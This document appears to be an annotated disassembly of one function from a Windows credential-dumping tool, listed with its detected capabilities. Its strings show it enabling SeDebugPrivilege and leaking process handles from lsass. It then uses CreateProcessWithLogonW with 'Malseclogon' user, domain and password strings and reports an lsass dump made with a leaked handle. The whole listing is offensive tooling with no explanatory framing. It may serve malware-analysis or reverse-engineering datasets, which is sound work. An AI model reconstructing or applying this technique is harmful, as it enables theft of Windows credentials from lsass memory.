Function at 0x140001c30
Capabilities:
Accept command line arguments
Acquire debug privileges
Check if file exists
Create process on windows
Create process suspended
Delete file
Get file attributes

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x10440]
mov eax, 0x10540
call fcn.140018070
sub rsp, rax
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rbp + 0x10430], rax
movsd xmm0, qword [str._s__s]
xor r13d, r13d
mov eax, dword [0x140021b88]
mov edi, r13d
movsd qword [rbp + 0x10000], xmm0
mov rsi, rdx
mov dword [rsp + 0x60], r13d
mov qword [rsp + 0x68], r13
mov ebx, ecx
mov dword [rbp + 0x10008], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x68]
lea rdx, str.SeDebugPrivilege
call fcn.1400014f0
test eax, eax
je 0x140001f0d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rsp + 0x60]
mov ecx, ebx
lea rdx, [rbp]
call fcn.140001770
cmp dword [rsp + 0x60], 1
jb 0x140001f24
mov qword [rsp + 0x10570], r12
mov qword [rsp + 0x10580], r14
mov qword [rsp + 0x10588], r15
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea r8, [rbp + 0x10000]
mov edx, 0x104
mov r9, rax
lea rcx, [rbp + 0x10010]
lea rax, str._l_1
mov qword [rsp + 0x20], rax
call fcn.140001070
mov r8d, 0x104
lea rdx, [rbp + 0x10220]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001d5b
test al, 0x10
jne 0x140001d5b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r12d, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rdx, qword gs:[0x30]
mov r15d, eax
mov qword [rdx + 0x40], rbx
mov qword [rdx + 0x48], r15
mov r14d, dword [rsp + 0x60]
test r14d, r14d
je 0x140001e98
nop dword [rax]
xorps xmm1, xmm1
lea rcx, str.Attempt_to_leak_process_handles_from_lsass:_0x_04x_0x_04x_0x_04x..._n
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm1
mov qword [rbp - 0x80], rax
mov eax, edi
inc edi
movups xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x34], 0x100
movups xmmword [rsp + 0x70], xmm0
mov r8, qword [rbp + rdi*8]
inc edi
mov rdx, qword [rbp + rax*8]
movups xmmword [rbp - 0x70], xmm1
mov qword [rbp - 0x20], rdx
mov r9, qword [rbp + rdi*8]
inc edi
mov qword [rbp - 0x10], r9
movups xmmword [rbp - 0x60], xmm1
mov qword [rbp - 0x18], r8
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x30], xmm1
call fcn.140001010
lea rax, [rsp + 0x70]
mov r9d, 2
mov qword [rsp + 0x50], rax
lea r8, str.MalseclogonPwd
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rdx, str.MalseclogonDomain
mov qword [rsp + 0x40], r13
lea rax, [rbp + 0x10010]
mov qword [rsp + 0x38], r13
lea rcx, str.MalseclogonUser
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10220]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x140001f3b
mov r8d, dword [rbp - 0x80]
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001e8f
test al, 0x10
je 0x140001e98
cmp edi, r14d
jb 0x140001d90
mov rcx, qword gs:[0x30]
mov qword [rcx + 0x40], r12
mov qword [rcx + 0x48], r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001ecc
test al, 0x10
jne 0x140001ecc
mov rdx, rsi
lea rcx, str.Lsass_dump_created_with_leaked_handle__Check_the_path__S_n
call fcn.140001010
jmp 0x140001ed8
lea rcx, str.Something_went_wrong_:__n
call fcn.140001010
mov r14, qword [rsp + 0x10580]
mov r12, qword [rsp + 0x10570]
mov r15, qword [rsp + 0x10588]
mov rcx, qword [rbp + 0x10430]
xor rcx, rsp
call fcn.140002e40
add rsp, 0x10540
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, str.SetPrivilege_failed_to_enable_SeDebugPrivilege._Run_it_as_an_Administrator._Exiting..._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3
lea rcx, str.No_process_handles_to_lsass_found._The_PID_you_specified_does_not_seem_to_be_the_lsass_pid._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessWithLogonW___failed_with_error_code__d__n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3